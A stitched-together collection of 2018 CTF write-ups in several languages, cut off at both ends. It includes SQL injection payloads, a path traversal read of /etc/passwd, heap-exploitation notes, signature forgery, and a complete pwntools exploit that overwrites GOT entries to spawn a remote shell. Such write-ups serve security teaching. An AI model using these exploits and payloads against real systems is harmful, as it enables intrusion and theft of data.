i >= 0; i--) { if (first) first = false; else cout << ","; cout << besten[target.size()][i]; }}```
### MOAR (pwn) > nc moar.ctfcompetition.com 1337 접속하면 socat 의 man 페이지가 뜬다. ![](https://rls1004.github.io/img/google_moar.JPG) `![cmd]` 를 이용하여 쉘 명령어를 실행시킬 수 있다. **CTF{SOmething-CATastr0phic}**
# It's-a me! (mario) - 124 points When cooking a pizza, you can provide an explanation which is allocated on the heap with the length of your explanation: ```cprintf("Before I start cooking your pizzas, do you have anything to declare? Please explain: ");read_len(src, 300LL);v1 = strlen(src);a1->explanation = (char *)malloc(v1 + 1);strcpy(a1->explanation, src);``` But if we make Mario upset we can do an overflow on the heap:```assemblylea rdi, aLastChanceExpl ; "last chance, explain yourself: "mov eax, 0call printflea rax, cur_customermov rax, [rax]mov rax, [rax+20h] ; explanationmov esi, 300mov rdi, raxcall read_len``` To reach this code path we need to make a pizza with pineapple in it (ingredients are UTF-8 emojis), without actually adding a pineapple as an ingredient. The way it checks is it strcats the ingredients together and calls strstr with the pineapple emoji to check, so we can create two adjacent ingredients, one which has the first two bytes of the pineapple at the end and one which has the second two bytes at the beginning. It only accepts UTF-8 as ingredients, so we need to prefix the first part of the pineapple emoji with \xe0 to get it to accept that. There is also a use after free:```cif ( v15 >> 4 == (v14 & 0xF) ) // if # of pizzas == number of tomato pizzas { puts("Molto bene, all cooked!"); if ( !(v15 & 0xF) ) // if no pineapple pizzas free(a1->explanation);``` We can leak a heap pointer this way. In order to do that we need to have the number of tomato pizzas be the number of pizzas, and have no pineapple pizzas. But we need to have at least one pineapple pizza to see explanation and get the leak. Thankfully the binary uses 4 bit counters so we can send 16 pineapple pizzas and one tomato pizza and the check will pass. With the heap address we can do an arbritray read on the heap (binary has PIE), by grooming the heap so that the allocated explanation comes directly before the customer instance that Mario is upset with. Grooming the heap for this is super annoying and took me a few hours of trial and error but I eventually got it right. I found a random pointer on the heap that pointed to something in libc (think it was a main arena pointer or something). We can also get arbritrary code execution by grooming the heap so that a pizza vtable pointer is after our allocated explanation. Thankfully this groom was much easier to achieve. We set the vtable pointer to point to an address on the heap we control, and put a magic gadget in there. I'm wondering if this challenge had another bug in it that I missed, as the heap grooming took me several hours to do (although this was the first time I've done heap grooming).
```We created a new cool service that allows you to share your images with everyone (it's on beta now)! The only thing you need to share something is an Image Description!Happy sharing! https://img.ctf.bz``` Link'e gittik ve karşımıza böyle bir sayfa geldi ![](https://cybersaxostiger.github.io/2018/07/23/Image-Share-Box-CTFZone-2018/1.png) Dropbox ile giriş yaptık, resim görüntüleme ve resim upload olmak üzere 2 adet sayfa vardı. ![](https://cybersaxostiger.github.io/2018/07/23/Image-Share-Box-CTFZone-2018/2.png) ![](https://cybersaxostiger.github.io/2018/07/23/Image-Share-Box-CTFZone-2018/3.png) Resim yüklemeye çalıştığımız zaman description'u olmadığını dile getiriyordu ![](https://cybersaxostiger.github.io/2018/07/23/Image-Share-Box-CTFZone-2018/4.png) __EXIF__'te ki __Image description__ kısmından bashediyor olabilir mi dedik ve __XSS__ payload'u koyalım dedik. ```lorem" onload="eval('debugger;')```Fakat bir hata ile karsilastik![](https://cybersaxostiger.github.io/2018/07/23/Image-Share-Box-CTFZone-2018/5.png)```Unknown error. Please send this information to admin: imgsbKF9teXNxbF9leGNlcHRpb25zLlByb2dyYW1taW5nRXJyb3IpICgxMDY0LCAiWW91IGhhdmUgYW4gZXJyb3IgaW4geW91ciBTUUwgc3ludGF4OyBjaGVjayB0aGUgbWFudWFsIHRoYXQgY29ycmVzcG9uZHMgdG8geW91ciBNeVNRTCBzZXJ2ZXIgdmVyc2lvbiBmb3IgdGhlIHJpZ2h0IHN5bnRheCB0byB1c2UgbmVhciAnZGVidWdnZXI7JyknLCAnaHR0cHM6Ly93d3cuZHJvcGJveC5jb20vcy95bGVlejY1MjczeWR4MjAveHNzLmpwZWc/ZGw9MCZyYXc9MScsICcnIGF0IGxpbmUgMSIpIFtTUUw6ICdJTlNFUlQgSU5UTyBgaW1hZ2Vfc2hhcmVzYCAoYG93bmVyYCwgYGRlc2NyaXB0aW9uYCwgYGltYWdlX2xpbmtgLCBgYXBwcm92ZWRgKSBWQUxVRVMgKFwnZGJpZDpBQURPR1FjQkY3Um9lRWtRU3R4YmhnMFlsMW1BaTJPRjA4c1wnLCBcJ2xvcmVtIiBvbmxvYWQ9ImV2YWwoXCdkZWJ1Z2dlcjtcJylcJywgXCdodHRwczovL3d3dy5kcm9wYm94LmNvbS9zL3lsZWV6NjUyNzN5ZHgyMC94c3MuanBlZz9kbD0wJnJhdz0xXCcsIFwnMFwnKSddIChCYWNrZ3JvdW5kIG9uIHRoaXMgZXJyb3IgYXQ6IGh0dHA6Ly9zcWxhbGNoZS5tZS9lL2Y0MDUpc``` __imgsb__'den sonraki kısımın __base64__'olduğu belliydi ve decode ettik. ```(_mysql_exceptions.ProgrammingError) (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'debugger;')', 'https://www.dropbox.com/s/yleez65273ydx20/xss.jpeg?dl=0&raw=1', '' at line 1") [SQL: 'INSERT INTO `image_shares` (`owner`, `description`, `image_link`, `approved`) VALUES (\'dbid:AADOGQcBF7RoeEkQStxbhg0Yl1mAi2OF08s\', \'lorem" onload="eval(\'debugger;\')\', \'https://www.dropbox.com/s/yleez65273ydx20/xss.jpeg?dl=0&raw=1\', \'0\')'] (Background on this error at: http://sqlalche.me/e/f405)t``` Hatalı sorgu böyle imiş```sqlINSERT INTO `image_shares` (`owner`, `description`, `image_link`, `approved`) VALUES ('dbid:AADOGQcBF7RoeEkQStxbhg0Yl1mAi2OF08s', 'lorem" onload="eval('debugger;')', 'https://www.dropbox.com/s/yleez65273ydx20/xss.jpeg?dl=0&raw=1', '0')``` Sorgunun normal halini çıkarttık ```sqlINSERT INTO `image_shares` (`owner`, `description`, `image_link`, `approved`) VALUES ('dbid:$owner', '$description', '$image_link', '0')``` Artık __SQL injection__ yapabiliriz. Versiyon bilgisini alalım ilk olarak```sqltest',(select version()),'0');#```![](https://cybersaxostiger.github.io/2018/07/23/Image-Share-Box-CTFZone-2018/6.png) Sonra kullanıcı bilgisini ```sqlaciklama',(select user()),'0');#```![](https://cybersaxostiger.github.io/2018/07/23/Image-Share-Box-CTFZone-2018/7.png) Daha sonra ise flag'i```sql',(SELECT GROUP_CONCAT(owner,0x3a,description) FROM image_shares AS a WHERE id="1"),'0');#```![](https://cybersaxostiger.github.io/2018/07/23/Image-Share-Box-CTFZone-2018/8.png) ```dbid:736b6e6f5070336f26696e6c2b6f657651657a75:ctfzone{b4827d53d3faa0b3d6f20d73df5e280f}``` ve flag ```ctfzone{b4827d53d3faa0b3d6f20d73df5e280f}```
> To solve this task, you need to put arithmetic operators into expression in the right order.> Allowed operators: + - / * (). Final expression must involve all the supplied numbers and the number order must be the same as in original expression. The last nuber in the line should be an answer.> nc ppc-01.v7frkwrfyhsjtbpfcppnu.ctfz.one 2445> >Example:>```>2 3 5 4>(2-3)+5>```-----**Solution:** Try all possibilities. How to do this in a simple way? Every arithmetic expression can be expressed as a (binary) expression tree where the inner nodes are the operators and the leaves are the numbers:``` + / \ - 5 / \ 2 3```*Notice how the parenthesis disappeared?* Now we can easily build all these binary trees with a recursive function and to get the normal string representation we just insert parenthesis in every step (we do not care if some of them could be omitted without changing the result). The input is a list of numbers and the output all possible results when inserting arithmetic operators. The functions tries all possibilities to split the list in 2 sublists and inserts one by one all 4 operations at the splitting position. The task requires to keep the numbers in the same order, therefore we really just have to split the list at some point. > Example:> > Take the list [2 3 5] (4 is the result, we do not need this here)> > There are 2 possibilities to split the list into to: { [2], [3 5] } and { [2 3], [5] } The evaluation of a list with exactly one element (a leave node) is just the number itself. If the list is larger, we recursivly call the function again with the smaller list. An example is probably easier to understand, so: > solve list [2 3 5] to get result 4> > try [2 3] o [5] and [2] o [3 5] where o is one of the 4 operators> > using [2 3], we can get 4 different results: { 5 (=2+3), -1 (=2-3), 6 (=2*3), 0.666 (=2/3) } = { 5, -1, 6, 0.666 }> > using [5], we can only get { 5 }> > in the case of [2 3] o [5], we have 4 possibilities for 'o' and 4 possibiliteis for the left result and one for the right -> 16 possible results:> ``` { 10, 4, 11, 5.666 , 0, -6, 1, -4.333, 25, -5, 30, 3.333, 1, -0.2, 1.2, 0.1333}using + using - using * using / ```> > we can do the same for the [2] o [3 5] case to get another 16 possibilities. At least one of those 32 results will be the requested 4. Here is the code used. (it is not a very clean solution).Hopefully the comments are enough to understand it.For remarks about speed improvements, see below.```# recursive function# INPUT: nums := list of numbers to be used# erg := expected result or None if doesn't matter# RETURN: if 'erg' is set: a string that evaluates to 'erg'# else: a list with all possible results that can be achieveddef solve(nums, erg = None): if len(nums) == 1: # leave node if erg != None: # we need a result of exactly 'erg' if float(nums[0]) == erg: return nums[0] # the only number we have equals the number we need else: return None # this should never happen, proof omitted else: return [float(nums[0])] # all possible results is just this number # otherwise we will simulate a new inner node ... ergs = [] # here we collect all possible results for i in range(1, len(nums)): # we iteratore over all splitting positions a = solve(nums[:i]) # a := list of all numbers possible in the left subtree b = solve(nums[i:]) # b := list of all numbers possible in the right subtree for ai in a: # | try all combinations with results from left for bi in b: # | with all those from right subtree if erg != None: # we want the result to be exactly 'erg' # therefore we check all operators and when we found a match ... # ... we return a string that evaluates the expected result # we do not know the ai can be constructed => we do the # the recursive call again, but this time # with the 'erg' argument supplied if float(ai + bi) == float(erg): return "(" + solve(nums[:i], ai) + " + " + solve(nums[i:], bi) + ")" if float(ai - bi) == float(erg): return "(" + solve(nums[:i], ai) + " - " + solve(nums[i:], bi) + ")" if float(ai * bi) == float(erg): return "(" + solve(nums[:i], ai) + " * " + solve(nums[i:], bi) + ")" if bi != 0 and ai / float(bi) == float(erg): return "(" + solve(nums[:i], ai) + " / " + solve(nums[i:], bi) + ")" else: # we do not care for a specific result (yet), so just collect all if bi != 0: # avoid division by 0 ergs += [ai + bi, ai - bi, ai * bi, ai / float(bi)] else: ergs += [ai + bi, ai - bi, ai * bi] return ergs``` ## Complexity and ImprovementsThe number of different trees with n leave nodes is the n-1-th [catalan number](https://en.wikipedia.org/wiki/Catalan_number). The problem uses up to 8 numbers -> C_7 is 417. There are 7 inner nodes with 4 possibilities each: 4^7 * 417 <= 7.000.000 possibilites to check -> close to no time required for solving.However, the solution can be optimized:* Subtrees are computed multiple times -> use memoization to save all results possible for a range of numbers* After finding all results in the left subtree, we could already call the right subtree with a supplied 'erg' that will fit the required result. Just need to handle the "return None" case then for impossible subtrees.
# BitBitBit (crypto, 8 solved, 860p) In the task we get the [server code](server.py).What happens is we get RSA-encrypted flag from the server, along with the public key and some parameters based on the private key primes.The inteded solution was to analyse the key generation algorithm and recover the private key.But we figured that there is an easier way to solve the problem. Look at the code: ```pythonfrom flag import FLAG N, delta, gamma = gen_key()m = int(FLAG.encode('hex'), 16)c = powmod(m, 0x10001, N)``` If we look at the challenge again we can see that the challenge with every connection gives us public key and encrypted flag.Public key exponent is always the same 65537, and the modulus changes every time.Apart from large `e`, this is pretty much a textbook setup for Hastad Broadcast Attack.The flag doesn't seem to get padded in the code, and it's unlikely to be super long, so maybe we don't even need all 65537 values to recover the flag.There is a PoW to solve when we connect to the server, so it took a while to grab all the necessary data, but once it's done we can proceed to calculate Chinese Remainder Theorem. We even did a parallel solver for that: https://github.com/p4-team/crypto-commons/blob/master/crypto_commons/rsa/crt.py since the calculations can be easily separated into map-reduce steps. Initially we were hoping for a flag around 32 bytes long, so only 10k messages would be enough, but it turned out we needed to get 20k because the flag was: `MeePwnCTF{It_is_the_time_to_move_to_Post_Quantum_Cryptography_DAGS}`
# Signature server (crypto, 28 solved, 148p) ```Quantum computing is on its way. That's why i implemented a post-quantum signature server. However, I believe Winternitz checksum can be broken, so I tweaked it a bit. Sign all you want, it's free!nc crypto-02.v7frkwrfyhsjtbpfcppnu.ctfz.one 1337``` ## Analysis In the task we get the [server source code](signature.py). We get access to application where we can: - Send `hi` message, not very useful.- Sign some payload- Execture signed command There are 2 commands available: `switching to admin user` and `requesting flag`.There are checks preventing us from signing either of those commands, at least theoretically. The commands are: ```pythonshow_flag_command = "show flag" + (MESSAGE_LENGTH - 9) * "\xff"admin_command = "su admin" + (MESSAGE_LENGTH - 8) * "\x00"``` If we look at how the signature is generated we can see: ```pythondef sign(self, data): decoded_data = base64.b64decode(data) if len(decoded_data) > MESSAGE_LENGTH: return "Error: message too large" if decoded_data == show_flag_command or decoded_data == admin_command: return "Error: nice try, punk" decoded_data += (MESSAGE_LENGTH - len(decoded_data)) * "\xff" decoded_data += self.wc_generate(decoded_data) signature = "" for i in range(0, CHANGED_MESSAGE_LENGTH): signature += self.sign_byte(ord(decoded_data[i]), i) return base64.b64encode(decoded_data) + ',' + base64.b64encode(signature)``` It's important to notice here that the check for restricted commands is done *before* padding the command with `\xff`.This means we can actually sign `show_flag_command` with no problem at all, as long as we strip the`\xff` and just send `show flag` as payload to sign.Such string will pass the check, and then get padded with `\xff`, so in the end it will match the original `show_flag_command`. This is the simple part, but we can't issue this command unless we're admin.We can't do a similar trick for `su admin` command, because this one is padded with `\x00`. We will actually need to forge the signature somehow for this message. If we examine closely how the signature is generated we will see that there are 2 parts: - original payload, padded with `\xff` if necessary, extended with (presumably) Winternitz checksum- some strong looking `signature` done byte-by-byte on the extended payload, however this signature takes into account not only the input byte but also the position of the byte Both of those have to match, for the command to get executed.However, worth noticing, the server checks them in sequence and tells us which check failed. ## Forging checksum In the code we can see that `CHECKSUM_LENGTH = 4`.This is not a lot, we could most likely brute-force a 4-byte checksum for string of our choosing, if we could do a local brute-force.But it's remote... However if we look at results we get from the server, it seems the last 2 bytes are actually always `\x00\x00`.So we have only 2 bytes to brute-force, instead of 4. We can, therefore, try to send `execute command` with `admin_command` extended with random 2 bytes + `\x00\x00` as checksum, and some random signature bytes.We've got only up to 256*256 payloads to send until we find the right checksum.Once we do, the server will complain about incorrect signature, instead of incorrect checksum: ```pythondef find_checkum_conflict(s, wanted_msg, signature): print("Looking for checksum conflict") for a in range(256): for b in range(256): forged = wanted_msg + chr(a) + chr(b) + "\x00\x00" result = execute_command(s, forged, signature) if 'wrong signature' in result: print('Found checksum conflict for', a, b) return a, b``` ## Forging signature Once we have the correct checksum for the payload, we need a proper signature.During the initial analysis we mentioned that signature is generated byte-for-byte.This is important, because it means that if we sign `admin_command` with last `\x00` removed, we will actually get proper signature for the first 31 bytes, and actually also the last 2 bytes, since the checksum has always last `\x00\x00`. What we're actually missing is only signature for 3 bytes -> `\x00` at the end of the message and the first 2 bytes of checksum we calculated in the previous step.Again we can use the fact that the checksum has only 2 bytes of entropy.It means there have to be a lot of conflicts - it shouldn't be hard to find an input which gives us the same checksum as the one we calculated before.We can, therefore, sign random payloads ending with `\x00` and wait until we get back the checksum we want, and then simply steal the signature bytes for them: ```pythondef get_proper_signature(checksum_we_need, s, original_signature_chunks): print("Looking for signature suffix for conflicting checksum") i = 0 while True: msg = long_to_bytes(i) pad = 32 - len(msg) msg = msg + ('a' * (pad - 1)) + "\x00" result = sign(s, msg) ext_msg, signature = map(base64.b64decode, result.split(",")) if ext_msg[32:36] == checksum_we_need: forged_signature_chunks = chunk(signature, 32) return "".join(original_signature_chunks[:-5] + forged_signature_chunks[-5:]) i += 1``` Last 5 chunks of the signature are for `'\x00'+checksum`, so we can take all of them, and combine with original signature we got for the `admin_command` without last `\x00`. This way we get a proper signature, and we can issue admin and flag commands: ```pythondef main(): url = "crypto-02.v7frkwrfyhsjtbpfcppnu.ctfz.one" port = 1337 s = nc(url, port) receive_until_match(s, "You can sign any messages except for controlled ones") receive_until(s, "\n") msg = "show flag" show_flag_command = sign(s, msg) msg = "su admin" + (32 - 9) * "\x00" almost_admin_command = sign(s, msg) print(almost_admin_command) msg, signature = map(base64.b64decode, almost_admin_command.split(",")) signature_chunks = chunk(signature, 32) wanted_msg = 'su admin\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' a, b = find_checkum_conflict(s, wanted_msg, signature) checksum = chr(a) + chr(b) + "\x00\x00" forged_msg = wanted_msg + checksum signature = get_proper_signature(checksum, s, signature_chunks) print(execute_command(s, forged_msg, signature)) send(s, 'execute_command:' + show_flag_command) interactive(s) main()``` And we get back `ctfzone{15de95d830304c6d19c86a559718e935}`
# Help Mars, ppc+osint It was a programming challenge, in which we had to find the shortest set of database strings (of which therewere a few millions), that concatenated together would give target string (that we had to find on the internetas osint part of the challenge). The strings weren't very long; around 100 characters each, and the target stringwas two orders of magnitude longer. Simple brute force wouldn't work. Instead, we opted for dynamic programming solution: for each substring of the target, we calculated the minimalsolution by brute forcing first division point and fetching subproblem solution from memoized array. This gaveus runtime of `O(N*N*M)`, where `N` is length of the target, and `M` - maximum length of database strings (withpossibly some logarithmic overhead from Python data structures). Full code attached.
# Mobile Bank In this task we are given single binary and tcp server to connect to. ## Solution ![checksec.png](checksec.png) Since its arm binary, I will use qemu to run it, looks like that: ![menu.png](menu.png) Lets now explore all those functions in IDA(I added names, binary is stripped). There is also one hidden option, but it turned out it wasn't needed. ```cint __fastcall sub_11284(int a1, int a2){ int v2; // r0 int v3; // r1 setup(); print_ascii_art(); while ( 1 ) { print_menu(); v2 = get_int(); switch ( v2 ) { case 0: puts("Bye!"); cleanup(); return 0; case 1: print_info(v2, v3); break; case 2: set_acc_id(); break; case 3: set_acc_note(); break; case 4: make_transaction(); break; case 5: print_account_info(); break; case 6: enable_debug(v2, v3); break; case 7: if ( debug ) debug_function(v2, v3); else puts("Invalid command!"); break; default: puts("Invalid command!"); break; } }}``` Function `get_int` reads from `stdin` and uses `atoi` to convert input to int. Looking at function `set_acc_id` we can see that is checks upper bound(`result > 15`), but its signed comparison and it doesn't check if input is lower than 0. ```csigned int set_acc_id(){ signed int result; // r0 printf("Enter account id: "); result = get_int(); if ( result > 15 ) return puts("Wrong account id!"); acc_id = result; return result;}``` Exploring more, You can notice there is global array of (int, pointer) pairs. Let's look at `set_acc_note`, `make_transaction` and `print_account_info` functions.```cchar *set_acc_note(){ char *dest; // ST08_4 char *result; // r0 size_t v2; // [sp+4h] [bp-110h] char src; // [sp+Ch] [bp-108h] printf("Enter account note: "); v2 = read_from_stdin(&src, 256); if ( global_arr[2 * acc_id + 1] ) { free(global_arr[2 * acc_id + 1]); global_arr[2 * acc_id + 1] = 0; } dest = (char *)malloc(v2 + 1); result = strcpy(dest, &src;; global_arr[2 * acc_id + 1] = dest; return result;}``` ```cint make_transaction(){ int result; // r0 printf("Enter transaction value: "); result = get_int(); global_arr[2 * acc_id] = (char *)global_arr[2 * acc_id] + result; return result;}``` ```cint print_account_info(){ void *v0; // r3 char s; // [sp+Ch] [bp-158h] if ( global_arr[2 * acc_id + 1] ) v0 = global_arr[2 * acc_id + 1]; else v0 = &unk_1196C; snprintf(&s, 0x150u, "id: %u, value: %d$, note:\"%s\"", acc_id, global_arr[2 * acc_id], v0); return puts(&s);}``` Note that since `acc_id` can be < 0, we have (almost) arbitrary write using `make_transaction` function, we can write only to adresses divisible by 8. Also using `print_account_info` we have arbitrary read, limited to adresses divisible by 8, but also only when `%s` doesn't trigger `SIGSEGV`. If challenge authors provided us libc used on the server, we could exploit leaking libc base address and overriting some GOT entry with `system` address, and then calling `system("/bin/sh")`, so the only thing we need is `system` offset. I tried to leak libc functions adresses and then look at some libc database, but I couldn't find anything, also I tried to look at my libc offsets and subtract then from leaked addresses, but it doesn't look right:```malloc: 0xb6d39fb8strcpy: 0xb6d39b20```We have to notice that offsets don't change that much between versions, result is approximately correct, so probably libc base is `0xb6d39000`. To verify that, we need real arbitrary read primitive, to get that, we can:1. Overrite `malloc` GOT entry to `get_int` address.2. Overrite `strcpy` GOT entry to some NOP function to prevent `SIGSEGV` in `set_acc_note`(we can also use next intruction after `strcpy` call). Now we fully control the pointer which is used with `%s` format is `print_account_info`. Lets use that to look at first few bytes of guessed libc base:![elf.png](elf.png)It's ELF header, so my hypothesis was correct. Now the plan is following: 1. Find `system` offset in my local libc.2. Leak some memory starting somewhere near libc_base + system_offset.3. Find `system` addres by it's signature. Unfortunately, out leaking function is `snprintf`, which stops on null byte, which means we will have to write a script and leak those bytes in a loop. ```pythonguess_system_addr = libc_base_guess + SYSTEM_OFFSET res = read('out2')cnt = len(res)set_acc_id(2) for i in range(10000):print iset_acc_note('asdf', ctypes.c_int(guess_system_addr + cnt).value)_, note = print_acc_info()note += '\x00'cnt += len(note)res += noteif i % 10 == 0: with open('out2', 'wb') as f: f.write(res)``` I loaded my local libc version in IDA and checked first 2 bytes of `system`. After few minutes of leaking, I checked if they are present in leaked memory, and yes they are.```In [23]: leaked_mem.find('\x00\xb1') Out[23]: 1412```it could be false positive since 3rd byte wasnt correct, but I manually checked few other bytes and they seemed correct. Now, I overwritten memcmp GOT entry to the `system` adress, and using this code in `enable_debug` function```c...printf("Enter password: ");read(0, &buf, 0x10u);if ( !memcmp(&buf, &unk_22108, 0x10u) )...``` triggered `system("/bin/sh")`. This solution was probably unintended, since I've never used hidden `debug_function`(we could easily enable it by writing something else than 0 to the `debug` variable), which was vulnerable to buffer overflow. ```cint debug_function(){ size_t n; // ST14_4 char *v1; // r3 char *v3; // [sp+Ch] [bp-218h] char *v4; // [sp+Ch] [bp-218h] signed int i; // [sp+10h] [bp-214h] char *v6; // [sp+18h] [bp-20Ch] char s; // [sp+1Ch] [bp-208h] int v8; // [sp+21Ch] [bp-8h] memset(&s, 0, 0x200u); v3 = &s; for ( i = 0; i <= 15; ++i ) { v4 = &v3[snprintf(v3, (char *)&v8 - v3, "%u\t%d$\t", i, global_arr[2 * i])]; v6 = (char *)global_arr[2 * i + 1]; if ( v6 ) { n = strlen(v6); memcpy(v4, v6, n); v4 += n; } v1 = v4; v3 = v4 + 1; *v1 = 10; } puts("*******************$$$Debug$$$******************"); printf("%s", &s); return puts("************************************************");}```I didn't want to use that since there is stack canary, I'm not familiar with arm assembly, and jumping to `system` just seemed easier.I also believe you could somehow find that libc version, in some database, but it was pretty fun to leak it and find offset myself.
Account index can be negative -> leak libc from GOT -> overwrite memcmp to system -> enable debug with "/bin/sh" as password. ```python#!/usr/bin/env python# -*- coding: utf-8 -*- from pwn import *import monkeyhex host = 'pwn-04.v7frkwrfyhsjtbpfcppnu.ctfz.one'port = 1337context.arch = 'arm'context.log_level = 'INFO'context.terminal = ['tmux', 'splitw', '-h']gdbargs = """b *0x1131cb memsetcontinue""" def set_id(idx): p.sendline('2') p.recvuntil('id: ') p.sendline(str(idx)) p.recvuntil('choice: ') def set_note(note): p.sendline('3') p.recvuntil('note: ') p.sendline(note) p.recvuntil('choice: ') def leak(addr): # only for 0x..0 or 0x008, can read from value field p.sendline('2') p.recvuntil('id: ') p.sendline(str((addr - 0x22088) / 8)) p.recvuntil('choice: ') p.sendline('5') p.recvuntil('value: ') leak = p32(int(p.recvuntil('$, ')[:-3]), sign='signed') p.recvuntil('choice: ') return u32(leak) # p = gdb.debug('./mobile_bank', gdbscript=gdbargs)p = remote(host, port)p.recvuntil('choice: ') set_id(0)set_note("Hey!") # [0x22050] memcmp@GLIBC_2.4# puts: 0xb6c8a6b1memcmp = leak(0x22050)# [0x22038] strcpy@GLIBC_2.4# strcpy: 0xb6c9a0c1strcpy = leak(0x22038) # LOCALlibc_base = strcpy - 0x73960system = libc_base + 0x37600 # REMOTElibc_base = strcpy - 0x560c0system = libc_base + 0x2c584 log.success('strcpy: 0x%08x' % strcpy)log.success('memcmp: 0x%08x' % memcmp)log.success('libc: 0x%08x' % libc_base)log.success('system: 0x%08x' % system) v = (system - memcmp) % 2**32 memcmp = leak(0x22050)log.success('memcmp: 0x%08x' % memcmp)while v > 0x7fffffff: p.sendline('4') p.recvuntil('value: ') p.sendline(str(0x7fffffff)) v -= 0x7fffffffp.sendline('4')p.recvuntil('value: ')p.sendline(str(v))memcmp = leak(0x22050)log.success('memcmp: 0x%08x' % memcmp) # <system> p.sendline('6\n/bin/sh') p.interactive()```
# Creds : Ariana, TuanLinh # 1 Find ISITDTU position : - This is easiest part, just need to find in the enc array that enc[i] == enc[i+2] and enc[i+3] == enc[i+5] (I = I and T = T), the start pos of ISITDTU is 36 - The S,T,U is near each other on the alphabet, so we can base on this to find m # 2 Find m : - We calculate the m1 and m2 : m1 = enc[39]-enc[37] = 1110321085421447768275945874294757311370451552696385093861149689 So m1 = enc[39] - enc[37] = enc(T) - enc(S) > 0 And ord("T") - ord("S") = 1 or T > S Call F(x) = (m * ord(x) + i) Because m1 > 0, we can assume that F(T) and F(S) in same mod round. => m = m1 # 3 Find n : m2 = enc[42] - enc[41] = F(U) - F(T) = -1204876429695607233906200723727474340332744346831302520996263862 So F(U) - F(T) < 0 mean F(U) is overflowed, that's why it result F(U) < F(T) when U > T We know F(U) is overflowed, assume that it's 1 round above, then we got : n = m2 - m1 = 2315197515117055002182146598022231651703195899527687614857413551 # 4 Find c : c = n*k + enc[37] - ( m * ord("S")) => bruteforce k : k = 41 => c = 1449370084268958114154753941529504723862204623391963277996853964 # 5 Generate alphabet and got flag : ![image](https://github.com/kuqadk3/CTF-and-Learning/blob/master/ISITDTU%20CTF/Love%20Cryptog/alpha.png)
# Creds : Dutchen18, TuanLinh, Ariana # 1. Fix the zip file : (Ubuntu 16.04)![image](https://github.com/kuqadk3/CTF-and-Learning/blob/master/ISITDTU%20CTF/Drill/fix_zip.PNG) # 2. Extract and brute force password of all zip : I wrote the script multiple_unzip.py, use fcrackzip and unzip on ubuntu to extract 500 zip file with rockyou wordlist and 500-worst-password worst list. The 500-worst to solve the first zip, password is boston, other zip is ok with rockyou ![image](https://github.com/kuqadk3/CTF-and-Learning/blob/master/ISITDTU%20CTF/Drill/multiple_unzip.png) Unzip till 0.zip : ![image](https://github.com/kuqadk3/CTF-and-Learning/blob/master/ISITDTU%20CTF/Drill/ubuntu.png) # 3. Got key.png and box.zip : Inside the box.zip, there is flag.txt ![image](https://github.com/kuqadk3/CTF-and-Learning/blob/master/ISITDTU%20CTF/Drill/box.png) Key is inside key.png, the red dots in picture is morse code, i wrote python code to read it : ![image](https://github.com/kuqadk3/CTF-and-Learning/blob/master/ISITDTU%20CTF/Drill/morse.PNG) Extract box.zip with decoded morse, we got final flags : ![image](https://github.com/kuqadk3/CTF-and-Learning/blob/master/ISITDTU%20CTF/Drill/final.png)
### ADMIN UI (pwn-re) > nc mngmnt-iface.ctfcompetition.com 1337 ```=== Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit```1번 메뉴를 선택하면 패스워드를 입력해야 한다. 2번 메뉴를 선택하면 patchnotes 를 읽을 수 있는데 예를 들어서 "Version0.3" 을 입력하면 "Version0.3" 파일을 읽어서 출력해준다.이를 이용해서 `"../../../etc/passwd"` 를 입력하면 사용자 정보를 확인할 수 있다.```The following patchnotes were found: - Version0.3 - Version0.2Which patchnotes should be shown?../../../etc/passwd(생략)user:x:1337:1337::/home/user:``` user 라는 사용자명을 확인했으면 user의 홈 디렉토리에서 플래그를 읽는다.```=== Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit2The following patchnotes were found: - Version0.3 - Version0.2Which patchnotes should be shown?../../../home/user/flagCTF{I_luv_buggy_sOFtware}``` **CTF{I_luv_buggy_sOFtware}**
[Details](https://github.com/nevivurn/writeups/tree/master/2018-isitdtu/XOR) ```python#!/usr/bin/env python2 enc_flag = '1d14273b1c27274b1f10273b05380c295f5f0b03015e301b1b5a293d063c62333e383a20213439162e0037243a72731c22311c2d261727172d5c050b131c433113706b6047556b6b6b6b5f72045c371727173c2b1602503c3c0d3702241f6a78247b253d7a393f143e3224321b1d14090c03185e437a7a607b52566c6c5b6c034047'keylen = 10 def unshuffle(m): unshuf = [None]*len(m) ind = 0 for a in range(keylen): i = a for b in range(len(m)/keylen): if b % 2 != 0: unshuf[i] = m[ind] else: unshuf[i + keylen-(a+1+a)] = m[ind] i += keylen ind += 1 return unshuf enc_flag = [ord(c) for c in enc_flag.decode('hex')]keyind = []for i in range(keylen): keyind += [i] * (len(enc_flag)/keylen) enc_flag = unshuffle(enc_flag)keyind = unshuffle(keyind) plain = 'ISITDTU{We'keys = []for off in range(len(enc_flag)-len(plain)): key = [None]*keylen for i,p in enumerate(plain): k = enc_flag[off+i] ^ ord(p) if key[keyind[off+i]] == None: key[keyind[off+i]] = k elif key[keyind[off+i]] != k: break if key.count(None) == keylen-len(plain): keys.append(key) charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.!?@-{}'for key in keys: plain = '' fine = True for c, k in zip(enc_flag, keyind): p = 0 if key[k]: p = c ^ key[k] if chr(p) not in charset: fine = False break else: p = ord('#') plain += chr(p) if fine: print plain```
[Details](https://github.com/nevivurn/writeups/tree/master/2018-isitdtu/Simple%20RSA) ```pythonfrom functools import reducefrom math import sqrtfrom Crypto.Util.number import * def next_prime(n): num = n + 1 while True: if isPrime(num): return num num += 1def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y)def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m def bin_srch(target, lo, hi, f): if lo >= hi: return lo mid = (lo+hi)//2 if f(mid) > target: return bin_srch(target, lo, mid-1, f) else: return bin_srch(target, mid+1, hi, f) def poly(p): return 1000000 * pow(p, 4) n = 603040899191765499692105412408128039799635285914243838639458755491385487537245112353139626673905393100145421529413079339538777058510964724244525164265239307111938912323072543529589488452173312928447289267651249034509309453696972053651162310797873759227949341560295688041964008368596191262760564685226946006231c = 